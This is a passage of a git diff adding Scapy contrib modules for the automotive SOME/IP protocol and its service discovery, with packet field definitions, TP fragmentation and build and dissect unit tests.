WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Sebastian Baar +# This program is published under a GPLv2 license + +# scapy.contrib.description = Scalable service-Oriented MiddlewarE/IP (SOME/IP) +# scapy.contrib.status = loads + +import ctypes +import collections +import struct + +from scapy.layers.inet import TCP, UDP +from scapy.layers.inet6 import IP6Field +from scapy.compat import raw, orb +from scapy.config import conf +from scapy.modules.six.moves import range +from scapy.packet import Packet, Raw, bind_top_down, bind_bottom_up +from scapy.fields import XShortField, BitEnumField, ConditionalField, \ + BitField, XBitField, IntField, XByteField, ByteEnumField, \ + ShortField, X3BytesField, StrLenField, IPField, FieldLenField, \ + PacketListField, XIntField + + +class SOMEIP(Packet): + """ SOME/IP Packet.""" + + PROTOCOL_VERSION = 0x01 + INTERFACE_VERSION = 0x01 + LEN_OFFSET = 0x08 + LEN_OFFSET_TP = 0x0c + TYPE_REQUEST = 0x00 + TYPE_REQUEST_NO_RET = 0x01 + TYPE_NOTIFICATION = 0x02 + TYPE_REQUEST_ACK = 0x40 + TYPE_REQUEST_NORET_ACK = 0x41 + TYPE_NOTIFICATION_ACK = 0x42 + TYPE_RESPONSE = 0x80 + TYPE_ERROR = 0x81 + TYPE_RESPONSE_ACK = 0xc0 + TYPE_ERROR_ACK = 0xc1 + TYPE_TP_REQUEST = 0x20 + TYPE_TP_REQUEST_NO_RET = 0x21 + TYPE_TP_NOTIFICATION = 0x22 + TYPE_TP_RESPONSE = 0x23 + TYPE_TP_ERROR = 0x24 + RET_E_OK = 0x00 + RET_E_NOT_OK = 0x01 + RET_E_UNKNOWN_SERVICE = 0x02 + RET_E_UNKNOWN_METHOD = 0x03 + RET_E_NOT_READY = 0x04 + RET_E_NOT_REACHABLE = 0x05 + RET_E_TIMEOUT = 0x06 + RET_E_WRONG_PROTOCOL_V = 0x07 + RET_E_WRONG_INTERFACE_V = 0x08 + RET_E_MALFORMED_MSG = 0x09 + RET_E_WRONG_MESSAGE_TYPE = 0x0a + + _OVERALL_LEN_NOPAYLOAD = 16 + + name = "SOME/IP" + + fields_desc = [ + XShortField("srv_id", 0), + BitEnumField("sub_id", 0, 1, {0: "METHOD_ID", 1: "EVENT_ID"}), + ConditionalField(XBitField("method_id", 0, 15), + lambda pkt: pkt.sub_id == 0), + ConditionalField(XBitField("event_id", 0, 15), + lambda pkt: pkt.sub_id == 1), + IntField("len", None), + XShortField("client_id", 0), + XShortField("session_id", 0), + XByteField("proto_ver", PROTOCOL_VERSION), + XByteField("iface_ver", INTERFACE_VERSION), + ByteEnumField("msg_type", TYPE_REQUEST, { + TYPE_REQUEST: "REQUEST", + TYPE_REQUEST_NO_RET: "REQUEST_NO_RETURN", + TYPE_NOTIFICATION: "NOTIFICATION", + TYPE_REQUEST_ACK: "REQUEST_ACK", + TYPE_REQUEST_NORET_ACK: "REQUEST_NO_RETURN_ACK", + TYPE_NOTIFICATION_ACK: "NOTIFICATION_ACK", + TYPE_RESPONSE: "RESPONSE", + TYPE_ERROR: "ERROR", + TYPE_RESPONSE_ACK: "RESPONSE_ACK", + TYPE_ERROR_ACK: "ERROR_ACK", + TYPE_TP_REQUEST: "TP_REQUEST", + TYPE_TP_REQUEST_NO_RET: "TP_REQUEST_NO_RETURN", + TYPE_TP_NOTIFICATION: "TP_NOTIFICATION", + TYPE_TP_RESPONSE: "TP_RESPONSE", + TYPE_TP_ERROR: "TP_ERROR", + }), + ByteEnumField("retcode", 0, { + RET_E_OK: "E_OK", + RET_E_NOT_OK: "E_NOT_OK", + RET_E_UNKNOWN_SERVICE: "E_UNKNOWN_SERVICE", + RET_E_UNKNOWN_METHOD: "E_UNKNOWN_METHOD", + RET_E_NOT_READY: "E_NOT_READY", + RET_E_NOT_REACHABLE: "E_NOT_REACHABLE", + RET_E_TIMEOUT: "E_TIMEOUT", + RET_E_WRONG_PROTOCOL_V: "E_WRONG_PROTOCOL_VERSION", + RET_E_WRONG_INTERFACE_V: "E_WRONG_INTERFACE_VERSION", + RET_E_MALFORMED_MSG: "E_MALFORMED_MESSAGE", + RET_E_WRONG_MESSAGE_TYPE: "E_WRONG_MESSAGE_TYPE", + }), + ConditionalField(BitField("offset", 0, 28), + lambda pkt: SOMEIP._is_tp(pkt)), + ConditionalField(BitField("res", 0, 3), + lambda pkt: SOMEIP._is_tp(pkt)), + ConditionalField(BitField("more_seg", 0, 1), + lambda pkt: SOMEIP._is_tp(pkt)) + ] + + def post_build(self, pkt, pay): + length = self.len + if length is None: + if SOMEIP._is_tp(self): + length = SOMEIP.LEN_OFFSET_TP + len(pay) + else: + length = SOMEIP.LEN_OFFSET + len(pay) + + pkt = pkt[:4] + struct.pack("!I", length) + pkt[8:] + return pkt + pay + + def answers(self, other): + if other.__class__ == self.__class__: + if self.msg_type in [SOMEIP.TYPE_REQUEST_NO_RET, + SOMEIP.TYPE_REQUEST_NORET_ACK, + SOMEIP.TYPE_NOTIFICATION, + SOMEIP.TYPE_TP_REQUEST_NO_RET, + SOMEIP.TYPE_TP_NOTIFICATION]: + return 0 + return self.payload.answers(other.payload) + return 0 + + @staticmethod + def _is_tp(pkt): + """Returns true if pkt is using SOMEIP-TP, else returns false.""" + + tp = [SOMEIP.TYPE_TP_REQUEST, SOMEIP.TYPE_TP_REQUEST_NO_RET, + SOMEIP.TYPE_TP_NOTIFICATION, SOMEIP.TYPE_TP_RESPONSE, + SOMEIP.TYPE_TP_ERROR] + if isinstance(pkt, Packet): + return pkt.msg_type in tp + else: + return pkt[15] in tp + + def fragment(self, fragsize=1392): + """Fragment SOME/IP-TP""" + fnb = 0 + fl = self + lst = list() + while fl.underlayer is not None: + fnb += 1 + fl = fl.underlayer + + for p in fl: + s = raw(p[fnb].payload) + nb = (len(s) + fragsize) // fragsize + for i in range(nb): + q = p.copy() + del q[fnb].payload + q[fnb].len = SOMEIP.LEN_OFFSET_TP + \ + len(s[i * fragsize:(i + 1) * fragsize]) + q[fnb].more_seg = 1 + if i == nb - 1: + q[fnb].more_seg = 0 + q[fnb].offset += i * fragsize // 16 + r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) + r.overload_fields = p[fnb].payload.overload_fields.copy() + q.add_payload(r) + lst.append(q) + + return lst + + +def _bind_someip_layers(): + bind_top_down(UDP, SOMEIP, sport=30490, dport=30490) + + for i in range(15): + bind_bottom_up(UDP, SOMEIP, sport=30490 + i) + bind_bottom_up(TCP, SOMEIP, sport=30490 + i) + bind_bottom_up(UDP, SOMEIP, dport=30490 + i) + bind_bottom_up(TCP, SOMEIP, dport=30490 + i) + + +_bind_someip_layers() + + +class _SDPacketBase(Packet): + """ base class to be used among all SD Packet definitions.""" + def extract_padding(self, s): + return "", s + + +SDENTRY_TYPE_SRV_FINDSERVICE = 0x00 +SDENTRY_TYPE_SRV_OFFERSERVICE = 0x01 +SDENTRY_TYPE_SRV = (SDENTRY_TYPE_SRV_FINDSERVICE, + SDENTRY_TYPE_SRV_OFFERSERVICE) +SDENTRY_TYPE_EVTGRP_SUBSCRIBE = 0x06 +SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK = 0x07 +SDENTRY_TYPE_EVTGRP = (SDENTRY_TYPE_EVTGRP_SUBSCRIBE, + SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK) +SDENTRY_OVERALL_LEN = 16 + + +def _MAKE_SDENTRY_COMMON_FIELDS_DESC(type): + return [ + XByteField("type", type), + XByteField("index_1", 0), + XByteField("index_2", 0), + XBitField("n_opt_1", 0, 4), + XBitField("n_opt_2", 0, 4), + XShortField("srv_id", 0), + XShortField("inst_id", 0), + XByteField("major_ver", 0), + X3BytesField("ttl", 0) + ] + + +class SDEntry_Service(_SDPacketBase): + name = "Service Entry" + fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC( + SDENTRY_TYPE_SRV_FINDSERVICE) + fields_desc += [ + XIntField("minor_ver", 0) + ] + + +class SDEntry_EventGroup(_SDPacketBase): + name = "Eventgroup Entry" + fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC( + SDENTRY_TYPE_EVTGRP_SUBSCRIBE) + fields_desc += [ + XBitField("res", 0, 12), + XBitField("cnt", 0, 4), + XShortField("eventgroup_id", 0) + ] + + +def _sdentry_class(payload, **kargs): + TYPE_PAYLOAD_I = 0 + pl_type = orb(payload[TYPE_PAYLOAD_I]) + cls = None + + if pl_type in SDENTRY_TYPE_SRV: + cls = SDEntry_Service + elif pl_type in SDENTRY_TYPE_EVTGRP: + cls = SDEntry_EventGroup + + return cls(payload, **kargs) + + +def _sdoption_class(payload, **kargs): + pl_type = orb(payload[2]) + + cls = { + SDOPTION_CFG_TYPE: SDOption_Config, + SDOPTION_LOADBALANCE_TYPE: SDOption_LoadBalance, + SDOPTION_IP4_ENDPOINT_TYPE: SDOption_IP4_EndPoint, + SDOPTION_IP4_MCAST_TYPE: SDOption_IP4_Multicast, + SDOPTION_IP4_SDENDPOINT_TYPE: SDOption_IP4_SD_EndPoint, + SDOPTION_IP6_ENDPOINT_TYPE: SDOption_IP6_EndPoint, + SDOPTION_IP6_MCAST_TYPE: SDOption_IP6_Multicast, + SDOPTION_IP6_SDENDPOINT_TYPE: SDOption_IP6_SD_EndPoint + }.get(pl_type, Raw) + + return cls(payload, **kargs) + + +# SD Option +SDOPTION_CFG_TYPE = 0x01 +SDOPTION_LOADBALANCE_TYPE = 0x02 +SDOPTION_LOADBALANCE_LEN = 0x05 +SDOPTION_IP4_ENDPOINT_TYPE = 0x04 +SDOPTION_IP4_ENDPOINT_LEN = 0x0009 +SDOPTION_IP4_MCAST_TYPE = 0x14 +SDOPTION_IP4_MCAST_LEN = 0x0009 +SDOPTION_IP4_SDENDPOINT_TYPE = 0x24 +SDOPTION_IP4_SDENDPOINT_LEN = 0x0009 +SDOPTION_IP6_ENDPOINT_TYPE = 0x06 +SDOPTION_IP6_ENDPOINT_LEN = 0x0015 +SDOPTION_IP6_MCAST_TYPE = 0x16 +SDOPTION_IP6_MCAST_LEN = 0x0015 +SDOPTION_IP6_SDENDPOINT_TYPE = 0x26 +SDOPTION_IP6_SDENDPOINT_LEN = 0x0015 + + +def _MAKE_COMMON_SDOPTION_FIELDS_DESC(type, length=None): + return [ + ShortField("len", length), + XByteField("type", type), + XByteField("res_hdr", 0) + ] + + +def _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC(): + return [ + XByteField("res_tail", 0), + ByteEnumField("l4_proto", 0x11, {0x06: "TCP", 0x11: "UDP"}), + ShortField("port", 0) + ] + + +class SDOption_Config(_SDPacketBase): + name = "Config Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(SDOPTION_CFG_TYPE) + [ + StrLenField("cfg_str", "\x00", length_from=lambda pkt: pkt.len - 1) + ] + + def post_build(self, pkt, pay): + if self.len is None: + length = len(self.cfg_str) + 1 # res_hdr field takes 1 byte + pkt = struct.pack("!H", length) + pkt[2:] + return pkt + pay + + @staticmethod + def make_string(data): + # Build a valid null-terminated configuration string from a dict or a + # list with key-value pairs. + # + # Example: + # >>> SDOption_Config.make_string({ "hello": "world" }) + # b'\x0bhello=world\x00' + # + # >>> SDOption_Config.make_string([ + # ... ("x", "y"), + # ... ("abc", "def"), + # ... ("123", "456") + # ... ]) + # b'\x03x=y\x07abc=def\x07123=456\x00' + + if isinstance(data, dict): + data = data.items() + + # combine entries + data = ("{}={}".format(k, v) for k, v in data) + # prepend length + data = ("{}{}".format(chr(len(v)), v) for v in data) + # concatenate + data = "".join(data) + data += "\x00" + + return data.encode("utf8") + + +class SDOption_LoadBalance(_SDPacketBase): + name = "LoadBalance Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_LOADBALANCE_TYPE, SDOPTION_LOADBALANCE_LEN) + fields_desc += [ + ShortField("priority", 0), + ShortField("weight", 0) + ] + + +class SDOption_IP4_EndPoint(_SDPacketBase): + name = "IP4 EndPoint Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_IP4_ENDPOINT_TYPE, SDOPTION_IP4_ENDPOINT_LEN) + fields_desc += [ + IPField("addr", "0.0.0.0"), + ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() + + +class SDOption_IP4_Multicast(_SDPacketBase): + name = "IP4 Multicast Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_IP4_MCAST_TYPE, SDOPTION_IP4_MCAST_LEN) + fields_desc += [ + IPField("addr", "0.0.0.0"), + ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() + + +class SDOption_IP4_SD_EndPoint(_SDPacketBase): + name = "IP4 SDEndPoint Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_IP4_SDENDPOINT_TYPE, SDOPTION_IP4_SDENDPOINT_LEN) + fields_desc += [ + IPField("addr", "0.0.0.0"), + ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() + + +class SDOption_IP6_EndPoint(_SDPacketBase): + name = "IP6 EndPoint Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_IP6_ENDPOINT_TYPE, SDOPTION_IP6_ENDPOINT_LEN) + fields_desc += [ + IP6Field("addr", "::"), + ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() + + +class SDOption_IP6_Multicast(_SDPacketBase): + name = "IP6 Multicast Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_IP6_MCAST_TYPE, SDOPTION_IP6_MCAST_LEN) + fields_desc += [ + IP6Field("addr", "::"), + ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() + + +class SDOption_IP6_SD_EndPoint(_SDPacketBase): + name = "IP6 SDEndPoint Option" + fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( + SDOPTION_IP6_SDENDPOINT_TYPE, SDOPTION_IP6_SDENDPOINT_LEN) + fields_desc += [ + IP6Field("addr", "::"), + ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() + + +## +# SD PACKAGE DEFINITION +## +class SD(_SDPacketBase): + """ + SD Packet + + NOTE : when adding 'entries' or 'options', do not use list.append() + method but create a new list + e.g. : p = SD() + p.option_array = [SDOption_Config(),SDOption_IP6_EndPoint()] + """ + SOMEIP_MSGID_SRVID = 0xffff + SOMEIP_MSGID_SUBID = 0x1 + SOMEIP_MSGID_EVENTID = 0x100 + SOMEIP_CLIENT_ID = 0x0000 + SOMEIP_MINIMUM_SESSION_ID = 0x0001 + SOMEIP_PROTO_VER = 0x01 + SOMEIP_IFACE_VER = 0x01 + SOMEIP_MSG_TYPE = SOMEIP.TYPE_NOTIFICATION + SOMEIP_RETCODE = SOMEIP.RET_E_OK + + _sdFlag = collections.namedtuple('Flag', 'mask offset') + FLAGSDEF = { + "REBOOT": _sdFlag(mask=0x80, offset=7), + "UNICAST": _sdFlag(mask=0x40, offset=6) + } + + name = "SD" + fields_desc = [ + XByteField("flags", 0), + X3BytesField("res", 0), + FieldLenField("len_entry_array", None, + length_of="entry_array", fmt="!I"), + PacketListField("entry_array", None, cls=_sdentry_class, + length_from=lambda pkt: pkt.len_entry_array), + FieldLenField("len_option_array", None, + length_of="option_array", fmt="!I"), + PacketListField("option_array", None, cls=_sdoption_class, + length_from=lambda pkt: pkt.len_option_array) + ] + + def get_flag(self, name): + name = name.upper() + if name in self.FLAGSDEF: + return ((self.flags & self.FLAGSDEF[name].mask) >> + self.FLAGSDEF[name].offset) + else: + return None + + def set_flag(self, name, value): + name = name.upper() + if name in self.FLAGSDEF: + self.flags = (self.flags & + (ctypes.c_ubyte(~self.FLAGSDEF[name].mask).value)) \ + | ((value & 0x01) << self.FLAGSDEF[name].offset) + + def set_entryArray(self, entry_list): + if isinstance(entry_list, list): + self.entry_array = entry_list + else: + self.entry_array = [entry_list] + + def set_optionArray(self, option_list): + if isinstance(option_list, list): + self.option_array = option_list + else: + self.option_array = [option_list] + + +bind_top_down(SOMEIP, SD, + srv_id=SD.SOMEIP_MSGID_SRVID, + sub_id=SD.SOMEIP_MSGID_SUBID, + client_id=SD.SOMEIP_CLIENT_ID, + session_id=SD.SOMEIP_MINIMUM_SESSION_ID, + event_id=SD.SOMEIP_MSGID_EVENTID, + proto_ver=SD.SOMEIP_PROTO_VER, + iface_ver=SD.SOMEIP_IFACE_VER, + msg_type=SD.SOMEIP_MSG_TYPE, + retcode=SD.SOMEIP_RETCODE) + +bind_bottom_up(SOMEIP, SD, + srv_id=SD.SOMEIP_MSGID_SRVID, + sub_id=SD.SOMEIP_MSGID_SUBID, + event_id=SD.SOMEIP_MSGID_EVENTID, + proto_ver=SD.SOMEIP_PROTO_VER, + iface_ver=SD.SOMEIP_IFACE_VER, + msg_type=SD.SOMEIP_MSG_TYPE, + retcode=SD.SOMEIP_RETCODE) + +# FIXME: Service Discovery messages shall be transported over UDP +# (TR_SOMEIP_00248) +# FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD +# and not used for applications communicating over SOME/IP +# (TR_SOMEIP_00020) diff --git a/libs/scapy/contrib/automotive/someip.uts b/libs/scapy/contrib/automotive/someip.uts new file mode 100755 index 0000000..1a45b04 --- /dev/null +++ b/libs/scapy/contrib/automotive/someip.uts @@ -0,0 +1,257 @@ +# MIT License + +# Copyright (c) 2018 Jose Amores + +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Sebastian Baar +# This program is published under a GPLv2 license + +########## +########## + + ++ Test MessageId + += Load module + +load_contrib("automotive.someip") +import binascii + += Check MessageId with method_id + +p = SOMEIP().msg_id +p.srv_id = 0x1111 +p.method_id = 0x0222 +p.event_id = 0x0333 + +p.sub_id = 0 + +assert(struct.unpack("!H", bytes(p)[:2])[0] == 0x1111) + +assert((struct.unpack("!B", bytes(p)[2:3])[0] & 0x80) == 0x00) + +assert((struct.unpack("!H", bytes(p)[2:4])[0] & ~0x8000) == 0x0222) + +assert(bytes(p) == b"\x11\x11\x02\x22") + +del(p) + += Dissect MessageId with method_id + + +p = SOMEIP(b'\x22\x22\x03\x33') + +assert(p.msg_id.srv_id == 0x2222) + +assert(p.msg_id.method_id == 0x0333) + +assert(p.msg_id.sub_id == 0) + +del(p) + += Build MessageId with event_id + +p = SOMEIP().msg_id +p.srv_id = 0x1111 +p.method_id = 0x0222 +p.event_id = 0x0333 +p.sub_id = 1 + +assert(struct.unpack("!H", bytes(p)[:2])[0] == 0x1111) + +assert((struct.unpack("!B", bytes(p)[2:3])[0] & 0x80) == 0x80) + +assert((struct.unpack("!H", bytes(p)[2:4])[0] & ~0x8000) == 0x0333) + +assert(bytes(p) == b"\x11\x11\x83\x33") + +del(p) + += Dissect MessageId with event_id + +p = SOMEIP(b'\x33\x33\x82\x22') + +assert(p.msg_id.srv_id == 0x3333) + +assert(p.msg_id.event_id == 0x0222) + +assert(p.msg_id.sub_id == 1) + +del(p) + ++ Test RequestId + += Request Id + +p = SOMEIP().req_id +p.client_id = 0x1111 +p.session_id = 0x2222 + +assert(struct.unpack("!H", bytes(p)[:2])[0] == 0x1111) + +assert(struct.unpack("!H", bytes(p)[2:4])[0] == 0x2222) + +assert(bytes(p) == b"\x11\x11\x22\x22") + +del(p) + += Dissect RequestId + +method_id = b'\x22\x22\x03\x33' +pktLen = b'\x11\x11\x11\x11' +reqId = b'\x22\x22\x33\x33' +p = SOMEIP(method_id + pktLen + reqId) + +assert(p.req_id.client_id == 0x2222) + +assert(p.req_id.session_id == 0x3333) + +del(p) + ++ Test SOMEIP + += Check SomeIp + +p = SOMEIP() +pstr = binascii.hexlify(bytes(p)) +binstr = binascii.hexlify(b"\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00") +assert(pstr == binstr) + +p.payload = Raw(binascii.unhexlify("DEADBEEF")) +pstr = bytes(p) +binstr = b"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x00\x00\xde\xad\xbe\xef" +assert(pstr == binstr) + +p.payload = Raw('') +pstr = bytes(p) +binstr = b"\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" +assert(pstr == binstr) + +del(p) + += Dissect SomeIP packet + +p = SOMEIP( + b"\x11\x11\x81\x11\x00\x00\x00\x04\x33\x33\x44\x44\x02\x03\x04\x05") + +assert(p.msg_id.srv_id == 0x1111) + +assert(p.msg_id.event_id == 0x0111) + +assert(p.req_id.client_id == 0x3333) + +assert(p.req_id.session_id == 0x4444) + +assert(p.proto_ver == 0x02) + +assert(p.iface_ver == 0x03) + +assert(p.msg_type == 0x04) + +assert(p.retcode == 0x05) + +del(p) + ++ Test SOMEIP_SubPackages + += Check MessageId subpackage + +p = SOMEIP() +p.msg_id.srv_id = 0x1111 +p.msg_id.method_id = 0x0222 +p.msg_id.event_id = 0x0333 + +p.msg_id.sub_id = 0 +pstr = bytes(p) +binstr = b"\x11\x11\x02\x22\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" +assert(pstr == binstr) + +p.msg_id.sub_id = 1 +pstr = bytes(p) +binstr = b"\x11\x11\x83\x33\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" +assert(pstr == binstr) + +del(p) + += Check RequestId subpackage + +p = SOMEIP() +p.req_id.client_id = 0x1111 +p.req_id.session_id = 0x2222 + +pstr = bytes(p) +binstr = b"\x00\x00\x00\x00\x00\x00\x00\x08\x11\x11\x22\x22\x01\x01\x00\x00" +assert(pstr == binstr) + ++ Test SOMEIP_TP + += Check TP +p = SOMEIP() +p.msg_type = 0x20 + + +pstr = bytes(p) +print(pstr) +binstr = b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x20\x00\x00\x00\x00\x00' +assert(pstr == binstr) + +p.more_seg = 1 +pstr = bytes(p) +binstr = b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x20\x00\x00\x00\x00\x01' +assert(pstr == binstr) + +p.msg_type = 0x00 +pstr = bytes(p) +binstr = b'\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00' +assert(pstr == binstr) + + += Dissect TP + +p = SOMEIP(b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x21\x00\x00\x00\x00\x01') + +assert(p.msg_type == 0x21) +assert(p.more_seg == 1) +assert(p.len == 12) + +p.msg_type = 0x00 + +pstr = bytes(p) +binstr = b"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x00\x00" +assert(pstr == binstr) + ++ Test SOMEIP-TP + += Build TP fragmented + +p = SOMEIP() +p.msg_type = 0x20 +p.add_payload(Raw("A"*1400)) + +f = p.fragment() + +assert(f[0].len == 1404) +assert(f[1].len == 20) +assert(f[0].payload == Raw("A"*1392)) +assert(f[1].payload == Raw("A"*8)) +assert(f[0].more_seg == 1) +assert(f[1].more_seg == 0) \ No newline at end of file diff --git a/libs/scapy/contrib/automotive/someip_sd.py b/libs/scapy/contrib/automotive/someip_sd.py new file mode 100755 index 0000000..4ab49e3 --- /dev/null +++ b/libs/scapy/contrib/automotive/someip_sd.py @@ -0,0 +1,350 @@ +#! /usr/bin/env python + +# MIT License + +# Copyright (c) 2018 Jose Amores + +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Sebastian Baar +# This program is published under a GPLv2 license + +# scapy.contrib.description = SOME/IP Service Discovery +# scapy.contrib.status = loads + +import ctypes +import collections +import struct + +from scapy.packet import Packet, Raw +from scapy.fields import ByteField, BitField, ShortField, \ + X3BytesField, IntField, ByteEnumField, StrField, IPField, \ + FieldLenField, PacketListField +from scapy.contrib.automotive.someip import SOMEIP +from scapy.layers.inet6 import IP6Field +from scapy.compat import orb + + +class _SDPacketBase(Packet): + """ base class to be used among all SD Packet definitions.""" + # use this dictionary to set default values for desired fields (mostly on + # subclasses where not all fields are defined locally) + # - key : field_name, value : desired value + # - it will be used from 'init_fields' function, upon packet initialization + # + # example : _defaults = + # {'field_1_name':field_1_value,'field_2_name':field_2_value} + _defaults = {} + + def _set_defaults(self): + for key in self._defaults: + try: + self.get_field(key) + except KeyError: + pass + else: + self.setfieldval(key, self._defaults[key]) + + def init_fields(self): + super(_SDPacketBase, self).init_fields() + self._set_defaults() + + +# SD ENTRY +# - Service +# - EventGroup +class _SDEntry(_SDPacketBase): + TYPE_FMT = ">B" + TYPE_PAYLOAD_I = 0 + TYPE_SRV_FINDSERVICE = 0x00 + TYPE_SRV_OFFERSERVICE = 0x01 + TYPE_SRV = (TYPE_SRV_FINDSERVICE, TYPE_SRV_OFFERSERVICE) + TYPE_EVTGRP_SUBSCRIBE = 0x06 + TYPE_EVTGRP_SUBSCRIBE_ACK = 0x07 + TYPE_EVTGRP = (TYPE_EVTGRP_SUBSCRIBE, TYPE_EVTGRP_SUBSCRIBE_ACK) + OVERALL_LEN = 16 + + fields_desc = [ + ByteField("type", 0), + ByteField("index_1", 0), + ByteField("index_2", 0), + BitField("n_opt_1", 0, 4), + BitField("n_opt_2", 0, 4), + ShortField("srv_id", 0), + ShortField("inst_id", 0), + ByteField("major_ver", 0), + X3BytesField("ttl", 0) + ] + + def guess_payload_class(self, payload): + pl_type = orb(payload[_SDEntry.TYPE_PAYLOAD_I]) + + if (pl_type in _SDEntry.TYPE_SRV): + return (SDEntry_Service) + elif (pl_type in _SDEntry.TYPE_EVTGRP): + return (SDEntry_EventGroup) + + +class SDEntry_Service(_SDEntry): + _defaults = {"type": _SDEntry.TYPE_SRV_FINDSERVICE} + + name = "Service Entry" + fields_desc = [ + _SDEntry, + IntField("minor_ver", 0) + ] + + +class SDEntry_EventGroup(_SDEntry): + _defaults = {"type": _SDEntry.TYPE_EVTGRP_SUBSCRIBE} + + name = "Eventgroup Entry" + fields_desc = [ + _SDEntry, + BitField("res", 0, 12), + BitField("cnt", 0, 4), + ShortField("eventgroup_id", 0) + ] + + +# SD Option +# - Configuration +# - LoadBalancing +# - IPv4 EndPoint +# - IPv6 EndPoint + +# - IPv4 MultiCast +# - IPv6 MultiCast +# - IPv4 EndPoint +# - IPv6 EndPoint +class _SDOption(_SDPacketBase): + CFG_TYPE = 0x01 + CFG_OVERALL_LEN = 4 + LOADBALANCE_TYPE = 0x02 + LOADBALANCE_LEN = 0x05 + LOADBALANCE_OVERALL_LEN = 8 + IP4_ENDPOINT_TYPE = 0x04 + IP4_ENDPOINT_LEN = 0x0009 + IP4_MCAST_TYPE = 0x14 + IP4_MCAST_LEN = 0x0009 + IP4_SDENDPOINT_TYPE = 0x24 + IP4_SDENDPOINT_LEN = 0x0009 + IP4_OVERALL_LEN = 12 + IP6_ENDPOINT_TYPE = 0x06 + IP6_ENDPOINT_LEN = 0x0015 + IP6_MCAST_TYPE = 0x16 + IP6_MCAST_LEN = 0x0015 + IP6_SDENDPOINT_TYPE = 0x26 + IP6_SDENDPOINT_LEN = 0x0015 + IP6_OVERALL_LEN = 24 + + def guess_payload_class(self, payload): + pl_type = orb(payload[2]) 